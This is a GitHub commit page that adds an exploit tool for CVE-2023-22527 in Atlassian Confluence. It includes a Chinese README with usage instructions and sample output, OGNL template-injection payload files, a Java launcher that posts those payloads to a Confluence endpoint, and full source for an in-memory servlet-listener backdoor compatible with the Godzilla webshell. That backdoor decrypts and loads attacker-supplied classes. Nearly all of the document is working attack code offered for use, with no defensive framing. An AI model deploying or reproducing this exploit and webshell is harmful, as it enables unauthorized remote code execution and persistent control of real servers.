-
Notifications
You must be signed in to change notification settings - Fork 9
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
21 changed files
with
431 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<module type="JAVA_MODULE" version="4"> | ||
<component name="NewModuleRootManager" inherit-compiler-output="true"> | ||
<exclude-output /> | ||
<content url="file://$MODULE_DIR$"> | ||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" /> | ||
</content> | ||
<orderEntry type="inheritedJdk" /> | ||
<orderEntry type="sourceFolder" forTests="false" /> | ||
<orderEntry type="library" name="javassist-3.28.0-GA" level="project" /> | ||
</component> | ||
</module> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<module type="JAVA_MODULE" version="4"> | ||
<component name="NewModuleRootManager" inherit-compiler-output="true"> | ||
<exclude-output /> | ||
<content url="file://$MODULE_DIR$"> | ||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" /> | ||
</content> | ||
<orderEntry type="inheritedJdk" /> | ||
<orderEntry type="sourceFolder" forTests="false" /> | ||
<orderEntry type="library" name="javassist-3.28.0-GA" level="project" /> | ||
</component> | ||
</module> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,31 @@ | ||
# CVE-2023-22527-Godzilla-MEMSHELL | ||
CVE-2023-22527 内存马注入工具 | ||
|
||
## Usage | ||
``` | ||
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url 哥斯拉密码 哥斯拉密钥 | ||
example | ||
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxxx/ pass key | ||
``` | ||
|
||
如果内存Shell已经注入成功但哥斯拉无法连接,请在请求配置添加以下协议头或者为哥斯拉配置Burp代理 | ||
``` | ||
Connection: close | ||
``` | ||
|
||
``` | ||
$ java -jar .\CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://127.0.0.1:8090/ qaxnb key | ||
[*] Exploit url: http://127.0.0.1:8090/template/aui/text-inline.vm | ||
Response Code: 200 | ||
Response Code: 200 | ||
[*] send payload | ||
Validate Response Code: 200 | ||
[*] exploit success | ||
[*] godzilla webshell password : qaxnb | ||
[*] godzilla webshell key : key | ||
``` | ||
|
||
![img.png](img.png) |
Binary file not shown.
Binary file added
BIN
+841 KB
...facts/CVE_2023_22527_Godzilla_MEMSHELL_main_jar/CVE-2023-22527-Godzilla-MEMSHELL-main.jar
Binary file not shown.
3 changes: 3 additions & 0 deletions
3
out/production/CVE-2023-22527-Godzilla-MEMSHELL-main/META-INF/MANIFEST.MF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
Manifest-Version: 1.0 | ||
Main-Class: main.Main | ||
|
Binary file added
BIN
+8.03 KB
out/production/CVE-2023-22527-Godzilla-MEMSHELL-main/main/ConfluenceFilterMemshell.class
Binary file not shown.
Binary file not shown.
Binary file added
BIN
+600 Bytes
out/production/CVE-2023-22527-Godzilla-MEMSHELL-main/main/MiTM$1.class
Binary file not shown.
Binary file not shown.
1 change: 1 addition & 0 deletions
1
out/production/CVE-2023-22527-Godzilla-MEMSHELL-main/main/initpayload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@applyExpressionMaxLength(100000) |
1 change: 1 addition & 0 deletions
1
out/production/CVE-2023-22527-Godzilla-MEMSHELL-main/main/label.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
aaa\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})+\u0027 |
1 change: 1 addition & 0 deletions
1
out/production/CVE-2023-22527-Godzilla-MEMSHELL-main/main/poc.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
(@org.springframework.cglib.core.ReflectUtils@defineClass('{className}',@org.springframework.util.Base64Utils@decodeFromString('{payload}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
Manifest-Version: 1.0 | ||
Main-Class: main.Main | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,195 @@ | ||
package main; | ||
|
||
import java.io.PrintWriter; | ||
import java.lang.reflect.Field; | ||
import java.lang.reflect.InvocationHandler; | ||
import java.lang.reflect.Method; | ||
import java.lang.reflect.Proxy; | ||
import java.util.ArrayList; | ||
import java.util.Base64; | ||
|
||
public class ConfluenceFilterMemshell extends ClassLoader implements InvocationHandler { | ||
private static boolean initialized = false; | ||
private static Object lock = new Object(); | ||
private static Class payloadClass; | ||
private static String password; | ||
private static String key; | ||
public ConfluenceFilterMemshell(ClassLoader loader){ | ||
super(loader); | ||
} | ||
public ConfluenceFilterMemshell(){ | ||
synchronized (lock){ | ||
if (!initialized){ | ||
try { | ||
Class servletRequestListenerClass = null; | ||
try { | ||
servletRequestListenerClass = Class.forName("jakarta.servlet.ServletRequestListener"); | ||
} catch (Exception e) { | ||
try { | ||
servletRequestListenerClass = Class.forName("javax.servlet.ServletRequestListener"); | ||
} catch (ClassNotFoundException ex) { | ||
|
||
} | ||
} | ||
if (servletRequestListenerClass!=null){ | ||
addListener(Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{servletRequestListenerClass},this),getStandardContext()); | ||
} | ||
}catch (Throwable e){ | ||
|
||
} | ||
initialized = true; | ||
} | ||
} | ||
} | ||
|
||
|
||
private Object getStandardContext() { | ||
try { | ||
Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance(); | ||
Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest"); | ||
Object request = getRequest.invoke(servletActionContextCompatManager, null); | ||
Object servletContext = invokeMethod(request, "getServletContext"); | ||
return getFieldValue(getFieldValue(servletContext,"context"), "context"); | ||
} catch (Exception e) { | ||
|
||
return null; | ||
} | ||
} | ||
|
||
private String addListener(Object listener,Object standardContext)throws Exception{ | ||
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener",Object.class); | ||
addApplicationEventListenerMethod.setAccessible(true); | ||
addApplicationEventListenerMethod.invoke(standardContext,listener); | ||
return "ok"; | ||
} | ||
|
||
|
||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { | ||
if (method.getName().equals("requestInitialized")){ | ||
Object servletRequestEvent = args[0]; | ||
backDoor(servletRequestEvent); | ||
} | ||
return null; | ||
} | ||
|
||
private Object invokeMethod(Object obj,String methodName,Object... parameters){ | ||
try { | ||
ArrayList classes = new ArrayList(); | ||
if (parameters!=null){ | ||
for (int i=0;i<parameters.length;i++){ | ||
Object o1=parameters[i]; | ||
if (o1!=null){ | ||
classes.add(o1.getClass()); | ||
}else{ | ||
classes.add(null); | ||
} | ||
} | ||
} | ||
Method method=getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[]{})); | ||
|
||
return method.invoke(obj, parameters); | ||
}catch (Exception e){ | ||
// e.printStackTrace(); | ||
} | ||
return null; | ||
} | ||
private Method getMethodByClass(Class cs,String methodName,Class... parameters){ | ||
Method method=null; | ||
while (cs!=null){ | ||
try { | ||
method=cs.getMethod(methodName, parameters); | ||
cs=null; | ||
}catch (Exception e){ | ||
cs=cs.getSuperclass(); | ||
} | ||
} | ||
return method; | ||
} | ||
public static Object getFieldValue(Object obj, String fieldName) throws Exception { | ||
Field f=null; | ||
if (obj instanceof Field){ | ||
f=(Field)obj; | ||
}else { | ||
Method method=null; | ||
Class cs=obj.getClass(); | ||
while (cs!=null){ | ||
try { | ||
f=cs.getDeclaredField(fieldName); | ||
cs=null; | ||
}catch (Exception e){ | ||
cs=cs.getSuperclass(); | ||
} | ||
} | ||
} | ||
f.setAccessible(true); | ||
return f.get(obj); | ||
} | ||
public String getParameter(Object requestObject,String name) { | ||
return (String) invokeMethod(requestObject, "getParameter", name); | ||
} | ||
public String getContentType(Object requestObject) { | ||
return (String) invokeMethod(requestObject, "getContentType"); | ||
} | ||
|
||
|
||
public byte[] aes(byte[] s,boolean m){ | ||
try{ | ||
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); | ||
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES")); | ||
return c.doFinal(s); | ||
}catch (Exception e){ | ||
return null; | ||
} | ||
} | ||
|
||
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } | ||
|
||
private void backDoor(Object servletRequestEvent) { | ||
try { | ||
Object request = invokeMethod(servletRequestEvent,"getServletRequest"); | ||
Object responseforvalidate = getFieldValue(getFieldValue(request, "request"), "response"); | ||
this.invokeMethod(responseforvalidate,"setHeader","X-Cmd-Result","ok"); | ||
if (true){ | ||
try { | ||
String contentType = getContentType(request); | ||
if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) { | ||
String value = getParameter(request,password); | ||
if (value!=null){ | ||
byte[] data = Base64.getDecoder().decode(value); | ||
data = aes(data, false); | ||
if (data != null && data.length > 0){ | ||
if (payloadClass == null) { | ||
payloadClass = new ConfluenceFilterMemshell(request.getClass().getClassLoader()).defineClass(data,0,data.length); | ||
} else { | ||
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); | ||
Object f = payloadClass.newInstance(); | ||
f.equals(arrOut); | ||
f.equals(request); | ||
f.equals(data); | ||
f.toString(); | ||
|
||
String md5 = md5(password + key); | ||
if (arrOut.size()>0) { | ||
Object response = getFieldValue(getFieldValue(request,"request"),"response"); | ||
PrintWriter printWriter = (PrintWriter) invokeMethod(response,"getWriter"); | ||
printWriter.write(md5.substring(0, 16)); | ||
printWriter.write(Base64.getEncoder().encodeToString(aes(arrOut.toByteArray(), true))); | ||
printWriter.write(md5.substring(16)); | ||
printWriter.flush(); | ||
printWriter.close(); | ||
} | ||
} | ||
} | ||
} | ||
} | ||
|
||
}catch (Throwable e){ | ||
} | ||
} | ||
}catch (Exception e){ | ||
|
||
} | ||
} | ||
|
||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
package main; | ||
import javassist.ClassPool; | ||
import javassist.CtClass; | ||
|
||
import java.io.ByteArrayOutputStream; | ||
import java.io.DataOutputStream; | ||
import java.io.InputStream; | ||
import java.io.OutputStream; | ||
import java.net.*; | ||
import java.nio.charset.StandardCharsets; | ||
import java.util.Base64; | ||
import java.util.UUID; | ||
|
||
public class Main { | ||
public static void main(String[] args) throws Throwable{ | ||
if (args.length < 2) { | ||
System.out.println("java -jar CVE-2022-26134.jar http://127.0.0.1:8090/ pass key"); | ||
return; | ||
} | ||
|
||
String urlstr = args[0]; | ||
String password = args[1]; | ||
String key = args[2]; | ||
URL url = new URL(urlstr); | ||
String baseUrl = url.getProtocol() + "://" + url.getHost() + ":" + url.getPort() + "/"; | ||
String ExploitUrl=baseUrl+"template/aui/text-inline.vm"; | ||
System.out.println("[*] Exploit url: " + ExploitUrl); | ||
|
||
MiTM.trustAllHttpsCertificates(); | ||
CtClass ctClass = ClassPool.getDefault().get("main.ConfluenceFilterMemshell"); | ||
ctClass.makeClassInitializer().insertBefore(String.format("password = \"%s\";\n" + | ||
" key = \"%s\";\n",password,md5(key).substring(0, 16).toLowerCase())); | ||
ctClass.setName("com.opensymphony.xwork." + UUID.randomUUID().toString().replace("-", "")); | ||
String txt = new String(readInputStream(Main.class.getResourceAsStream("poc.txt"))); | ||
String labeltxt = new String(readInputStream(Main.class.getResourceAsStream("label.txt"))); | ||
txt = txt.replace("{payload}", Base64.getEncoder().encodeToString(ctClass.toBytecode())); | ||
txt = txt.replace("{className}",ctClass.getName()); | ||
String initpayload=new String(readInputStream(Main.class.getResourceAsStream("initpayload.txt"))); | ||
String Exploitcontent = "poc=" + URLEncoder.encode(txt)+"&label="+URLEncoder.encode(labeltxt); | ||
SendPostRequest(initpayload,ExploitUrl); | ||
SendPostRequest(Exploitcontent,ExploitUrl); | ||
System.out.println("[*] send payload"); | ||
HttpURLConnection validateRequest = ValidateRequest(ExploitUrl); | ||
if ( "ok".equals(validateRequest.getHeaderField("X-Cmd-Result"))){ | ||
System.out.println("[*] exploit success"); | ||
System.out.println("[*] godzilla webshell password : " + password); | ||
System.out.println("[*] godzilla webshell key : " + key); | ||
}else { | ||
System.out.println("[*] exploit fail"); | ||
} | ||
} | ||
public static void SendPostRequest(String content,String url) throws Exception{ | ||
HttpURLConnection urlConnection = (HttpURLConnection) new URL(url).openConnection(); | ||
urlConnection.setRequestMethod("POST"); | ||
urlConnection.setInstanceFollowRedirects(false); | ||
urlConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); | ||
urlConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36"); | ||
urlConnection.setDoOutput(true); | ||
urlConnection.setDoInput(true); | ||
urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); | ||
byte[] postDataBytes = content.getBytes(StandardCharsets.UTF_8); | ||
urlConnection.setRequestProperty("Content-Length", String.valueOf(postDataBytes.length)); | ||
try (DataOutputStream wr = new DataOutputStream(urlConnection.getOutputStream())) { | ||
wr.write(postDataBytes); | ||
} | ||
int responseCode = urlConnection.getResponseCode(); | ||
System.out.println("Response Code: " + responseCode); | ||
urlConnection.disconnect(); | ||
} | ||
public static HttpURLConnection ValidateRequest(String url) throws Exception { | ||
MiTM.trustAllHttpsCertificates(); | ||
HttpURLConnection urlConnection = (HttpURLConnection) new URL(url).openConnection(); | ||
urlConnection.setRequestMethod("GET"); | ||
int responseCode = urlConnection.getResponseCode(); | ||
System.out.println("Validate Response Code: " + responseCode); | ||
return urlConnection; | ||
} | ||
public static byte[] readInputStream(InputStream inputStream) { | ||
byte[] temp = new byte[4096]; | ||
int readOneNum = 0; | ||
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | ||
try { | ||
while ((readOneNum = inputStream.read(temp)) != -1) { | ||
bos.write(temp, 0, readOneNum); | ||
} | ||
inputStream.close(); | ||
}catch (Exception e){ | ||
} | ||
return bos.toByteArray(); | ||
} | ||
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } | ||
|
||
} |
Oops, something went wrong.